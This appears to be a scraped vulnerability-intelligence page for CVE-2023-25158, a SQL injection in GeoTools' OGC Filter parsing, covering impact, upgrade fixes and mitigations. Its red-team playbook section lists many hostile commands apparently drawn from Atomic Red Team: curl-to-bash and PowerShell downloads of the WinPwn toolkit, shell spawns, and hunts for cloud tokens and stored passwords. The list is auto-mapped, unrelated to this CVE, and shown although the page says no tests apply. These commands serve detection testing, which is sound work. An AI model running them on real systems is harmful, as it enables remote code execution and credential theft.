CVE-2023-25158
Overview
This vulnerability is a SQL Injection flaw rooted in improper sanitization of OGC Filter expressions within GeoTools' JDBCDataStore implementations. The parsing and execution components of the OGC Filter expression language fail to adequately validate or parameterize user-supplied input, allowing malicious SQL code to be injected and executed against the underlying datastore. The affected feature is the OGC Filter parsing and execution mechanism in GeoTools' geospatial data processing library.
Vulnerability Description
GeoTools is an open source Java library that provides tools for geospatial data. GeoTools includes support for OGC Filter expression language parsing, encoding and execution against a range of datastore. SQL Injection Vulnerabilities have been found when executing OGC Filters with JDBCDataStore implementations. Users are advised to upgrade to either version 27.4 or to 28.2 to resolve this issue. Users unable to upgrade may disable `encode functions` for PostGIS DataStores or enable `prepared statements` for JDBCDataStores as a partial mitigation.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary SQL commands on the backend datastore by submitting crafted OGC Filter expressions. This can lead to unauthorized data access, modification, or deletion within the geospatial database. The attack requires network access to the GeoTools service using JDBCDataStore but no user interaction or privileges. Given the CVSS vector AV:N/AC:L/PR:N/UI:N, exploitation is straightforward and can compromise confidentiality, integrity, and availability of geospatial data assets.
Solution
Users should upgrade GeoTools to version 27.4 or 28.2 as these versions contain fixes addressing the SQL Injection vulnerability. For environments where upgrading is not immediately feasible, the vendor recommends disabling the 'encode functions' feature for PostGIS DataStores or enabling 'prepared statements' for JDBCDataStores as partial mitigations. Detailed patch instructions and advisory information are available in the GeoTools GitHub security advisory GHSA-99c3-qc2q-p94m at https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the GeoTools library stems from SQL injection flaws present in the execution of Open Geospatial Consortium (OGC) Filter expressions when interfacing with JDBCDataStore implementations. This issue arises when user-supplied input is not properly sanitized, allowing an attacker to manipulate SQL queries executed against the database. The exploitation of this vulnerability can lead to unauthorized access to sensitive data, data corruption, or even complete compromise of the database server. The severity of this flaw is underscored by its high CVSS score, indicating a critical risk to applications leveraging this library for geospatial data processing.
Attack vectors for this vulnerability are primarily through crafted OGC Filter expressions that are sent to the affected library. An attacker could exploit this flaw by submitting malicious input through web applications or APIs that utilize GeoTools for geospatial data queries. For instance, if an application allows users to input filter criteria for querying geographical data, an attacker could inject SQL commands that manipulate the underlying database. This could result in unauthorized data retrieval, modification, or deletion, depending on the privileges of the database connection used by the application. Furthermore, the potential for privilege escalation exists if the database user has elevated permissions, amplifying the impact of the attack.
The real-world implications of this vulnerability can be significant for organizations that depend on GeoTools for geospatial data management. Businesses in sectors such as urban planning, environmental monitoring, and transportation may face severe operational disruptions if their databases are compromised. The risk extends beyond immediate data loss; it can lead to reputational damage, regulatory fines, and loss of customer trust. Additionally, the financial implications of remediation efforts, including forensic investigations and potential legal liabilities, can be substantial. Organizations that fail to address this vulnerability may find themselves exposed to ongoing threats and attacks, further compounding their risk profile.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the recommended versions of the GeoTools library, specifically versions 27.4 or 28.2, which contain patches addressing the SQL injection issues. For those unable to upgrade immediately, a temporary mitigation strategy involves disabling `encode functions` for PostGIS DataStores or enabling `prepared statements` for JDBCDataStores. These measures can help reduce the attack surface by ensuring that user inputs are treated as data rather than executable code. Additionally, implementing robust input validation and sanitization practices across applications that utilize GeoTools can further protect against SQL injection attacks.
In conclusion, the SQL injection vulnerability in the GeoTools library presents a critical risk to organizations that utilize this open-source geospatial data processing tool. The potential for exploitation through crafted OGC Filter expressions poses significant threats to data integrity and security. Organizations must take proactive measures to detect, mitigate, and remediate this vulnerability to safeguard their data and maintain operational resilience. By prioritizing timely upgrades and implementing effective security practices, businesses can significantly reduce their exposure to this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-25158, indicating increased attempts to leverage the SQL injection vulnerability in GeoTools’ OGC Filter processing. Although no new exploit code or proof-of-concept samples have surfaced, the surge in telemetry suggests adversaries are actively probing environments that utilize vulnerable JDBCDataStore implementations. This heightened reconnaissance activity elevates the likelihood of imminent exploitation attempts, underscoring the criticality of this vulnerability in operational contexts. Despite the EPSS score remaining low and stable, the qualitative increase in targeting behavior signals a growing interest from threat actors, which may precede more sophisticated or automated exploit campaigns. Defenders should interpret this trend as an early warning of potential exploitation escalation, warranting increased monitoring and prioritization within threat detection frameworks.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Geotools | Geotools | All |
cpe:2.3:a:geotools:geotools:*:*:*:*:*:*:*:*
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Geotools | Geotools | All |
cpe:2.3:a:geotools:geotools:*:*:*:*:*:*:*:*
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Geotools | Geotools | All |
cpe:2.3:a:geotools:geotools:*:*:*:*:*:*:*:*
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Geotools | Geotools | All |
cpe:2.3:a:geotools:geotools:*:*:*:*:*:*:*:*
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Geotools | Geotools | All |
cpe:2.3:a:geotools:geotools:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
9 eventsSighting activity recorded
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-25158 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b |